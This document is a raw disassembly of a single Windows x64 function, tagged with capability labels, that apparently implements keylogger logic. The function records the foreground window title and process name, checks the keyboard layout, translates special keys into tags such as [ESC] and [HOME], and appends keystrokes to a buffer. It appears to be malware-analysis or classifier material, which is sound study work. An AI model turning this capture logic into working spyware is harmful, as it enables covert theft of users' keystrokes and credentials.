Function at 0x140002ac0
Capabilities:
Enumerate process modules
Get graphical window text
Get keyboard layout

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x14006c100]
xor rax, rsp
mov qword [rbp + 0x200], rax
mov edi, ecx
xor r13d, r13d
lea eax, [rcx - 1]
cmp eax, 1
jbe 0x1400032f1
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov rbx, rax
sub rbx, qword [0x14006ff78]
lea rsi, [0x14006ff58]
cmp rbx, 0x2710
jb 0x140002b3e
mov r8d, 0x18
lea rdx, [0x140060100]
mov rcx, rsi
call fcn.140006c10
cmp rbx, 0x186a0
jb 0x140002b5c
mov r8d, 0x1a
lea rdx, [0x140060138]
mov rcx, rsi
call fcn.140006c10
cmp rbx, 0x36ee80
jb 0x140002b7a
mov r8d, 0x16
lea rdx, str._n_n_n_n
mov rcx, rsi
call fcn.140006c10
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rbx, rax
test rax, rax
je 0x1400030a7
mov dword [rbp - 0x50], r13d
lea rdx, [rbp - 0x50]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, eax
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov r12, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], r13
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp - 0x40]
call fcn.1400076f0
nop
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 7
cmova rdx, qword [rbp - 0x40]
mov r8d, dword [rbp - 0x30]
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
je 0x140003054
lea r15, [0x14006cd90]
mov rcx, r15
cmp qword [0x14006cda8], 7
cmova rcx, qword [0x14006cd90]
lea r8, [rbp - 0x40]
cmp qword [rbp - 0x28], 7
cmova r8, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
cmp rdx, qword [0x14006cda0]
jne 0x140002c49
test rdx, rdx
je 0x140003054
sub r8, rcx
nop dword [rax]
movzx eax, word [rcx]
cmp word [r8 + rcx], ax
jne 0x140002c49
add rcx, 2
sub rdx, 1
jne 0x140002c30
jmp 0x140003054
mov r8d, dword [rbp - 0x50]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
test rax, rax
jne 0x140002c91
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, [0x140060050]
lea rcx, [0x14006e5d0]
call fcn.140006eb0
mov rcx, rax
mov edx, ebx
call fcn.140003460
mov rcx, rax
call fcn.140007490
jmp 0x140002d0e
lea r9, [rbp - 0x20]
mov r8d, 8
lea rdx, [rbp - 0x48]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
je 0x140002cd8
mov r9d, 0x104
lea r8, [rbp - 0x10]
mov rdx, qword [rbp - 0x48]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExW]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x10]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
jmp 0x140002d15
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, [0x1400600a0]
lea rcx, [0x14006e5d0]
call fcn.140006eb0
mov rcx, rax
mov edx, ebx
call fcn.140003460
mov rcx, rax
call fcn.140007490
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [0x140060048]
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.140003a70
nop
mov r8, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
sub rax, r8
cmp rax, 5
jb 0x140002ddb
lea rax, [r8 + 5]
mov qword [rsp + 0x40], rax
lea r14, [rsp + 0x30]
cmp rcx, 7
cmova r14, qword [rsp + 0x30]
lea rax, [0x1400601b2]
lea rcx, [0x1400601a8]
cmp rax, r14
jbe 0x140002d86
lea rax, [r14 + r8*2]
cmp rcx, rax
ja 0x140002d86
cmp r14, rcx
ja 0x140002d7b
mov rbx, r13
jmp 0x140002d8b
mov rbx, r14
sub rbx, rcx
sar rbx, 1
jmp 0x140002d8b
mov ebx, 5
lea rcx, [r14 + 0xa]
lea r8, [r8*2 + 2]
mov rdx, r14
call fcn.1400505d0
add rbx, rbx
mov r8, rbx
lea rdx, [0x1400601a8]
mov rcx, r14
call fcn.1400505d0
lea rcx, [rbx + r14]
mov r8d, 0xa
sub r8, rbx
lea rdx, [0x1400601a8]
add rdx, 0xa
add rdx, rbx
call fcn.1400505d0
lea rax, [rsp + 0x30]
jmp 0x140002df3
mov qword [rsp + 0x28], 5
mov edx, 5
lea rcx, [rsp + 0x30]
call fcn.14000a220
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
mov r8d, 3
lea rdx, [0x1400601a0]
lea rcx, [rsp + 0x70]
call fcn.140006c10
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 7
cmova rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x30]
lea rcx, [rsp + 0x50]
call fcn.140006c10
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
lea rdx, [rbp - 0x70]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 7
cmova rdx, rcx
movq r8, xmm1
mov rcx, rsi
call fcn.140006c10
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x140002f15
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f0f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003329
call fcn.140025830
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x140002f57
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f52
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000332f
call fcn.140025830
movdqa xmm0, xmmword [0x1400614d0]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x50], r13w
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140002fb4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002fa7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003335
call fcn.140025830
movdqa xmm0, xmmword [0x1400614d0]
movdqu xmmword [rbp - 0x80], xmm0
mov word [rsp + 0x70], r13w
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x140003001
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ffc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000333b
call fcn.140025830
lea r9, [rbp - 0x40]
cmp qword [rbp - 0x28], 7
cmova r9, qword [rbp - 0x40]
mov rbx, qword [rbp - 0x30]
mov rax, qword [0x14006cda8]
cmp rbx, rax
ja 0x140003048
cmp rax, 7
cmova r15, qword [0x14006cd90]
mov qword [0x14006cda0], rbx
lea r8, [rbx + rbx]
mov rdx, r9
mov rcx, r15
call fcn.1400505d0
mov word [r15 + rbx*2], r13w
jmp 0x140003054
mov rdx, rbx
mov rcx, r15
call fcn.140008b20
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x140003094
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000308f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003323
call fcn.140025830
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r13w
jmp 0x1400030ab
mov r12, qword [rbp - 0x48]
cmp byte [0x14006ff48], 0
je 0x1400030c3
mov edx, edi
call fcn.1400037a0
mov rcx, rax
call fcn.140007520
cmp edi, 8
jne 0x1400030d4
lea rdx, [0x1400601b8]
jmp 0x1400032d6
cmp edi, 0xd
jne 0x1400030eb
mov r8d, 5
lea rdx, [0x1400601c8]
jmp 0x1400032dc
cmp edi, 0x20
jne 0x140003102
mov r8d, 1
lea rdx, [0x1400601d4]
jmp 0x1400032dc
cmp edi, 9
jne 0x140003119
mov r8d, 5
lea rdx, [0x1400601d8]
jmp 0x1400032dc
cmp edi, 0x10
je 0x1400032cf
lea eax, [rdi - 0xa0]
cmp eax, 1
jbe 0x1400032cf
cmp edi, 0x11
je 0x1400032c6
lea eax, [rdi - 0xa2]
cmp eax, 1
jbe 0x1400032c6
cmp edi, 0x1b
jne 0x140003160
mov r8d, 5
lea rdx, str._ESC_
jmp 0x1400032dc
cmp edi, 0x12
je 0x1400032bd
lea eax, [rdi - 0xa4]
cmp eax, 1
jbe 0x1400032bd
cmp edi, 0x23
jne 0x14000318f
mov r8d, 5
lea rdx, str._END_
jmp 0x1400032dc
cmp edi, 0x24
jne 0x1400031a6
mov r8d, 6
lea rdx, str._HOME_
jmp 0x1400032dc
cmp edi, 0x25
jne 0x1400031b7
lea rdx, [0x140060248]
jmp 0x1400032d6
cmp edi, 0x27
jne 0x1400031c8
lea rdx, [0x140060258]
jmp 0x1400032d6
cmp edi, 0x26
jne 0x1400031d9
lea rdx, [0x140060268]
jmp 0x1400032d6
cmp edi, 0x28
jne 0x1400031ea
lea rdx, [0x140060278]
jmp 0x1400032d6
cmp edi, 0xbe
jne 0x14000325a
mov eax, 0x419
cmp r12w, ax
jne 0x14000326a
mov rdx, r12
mov ecx, edi
call fcn.1400029e0
movzx edx, ax
call fcn.140007170
mov rcx, rax
call fcn.140007490
mov rdx, r12
mov ecx, edi
call fcn.1400029e0
mov rdx, qword [0x14006ff68]
mov r8, qword [0x14006ff70]
cmp rdx, r8
jae 0x140003298
lea rcx, [rdx + 1]
mov qword [0x14006ff68], rcx
cmp r8, 7
cmova rsi, qword [0x14006ff58]
mov word [rsi + rdx*2], ax
mov word [rsi + rdx*2 + 2], r13w
jmp 0x1400032e4
cmp edi, 0x6e
jne 0x140003279
mov eax, 0x419
cmp r12w, ax
je 0x1400031fd
mov r8d, 1
lea rdx, [0x140060284]
jmp 0x1400032dc
cmp edi, 0xbd
je 0x1400032ae
cmp edi, 0x6d
je 0x1400032ae
cmp edi, 0x14
jne 0x1400031fd
lea rdx, [0x140060290]
jmp 0x1400032d6
movzx r9d, ax
xor r8d, r8d
mov edx, 1
mov rcx, rsi
call fcn.140008990
jmp 0x1400032e4
mov r8d, 1
lea rdx, [0x140060288]
jmp 0x1400032dc
lea rdx, [0x140060218]
jmp 0x1400032d6
lea rdx, [0x1400601f8]
jmp 0x1400032d6
lea rdx, [0x1400601e8]
mov r8d, 4
mov rcx, rsi
call fcn.140006c10
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov qword [0x14006ff78], rax
xor eax, eax
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.140025810
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14002efe8
nop
call fcn.14002efe8
nop
call fcn.14002efe8
nop
call fcn.14002efe8
nop
call fcn.14002efe8
int3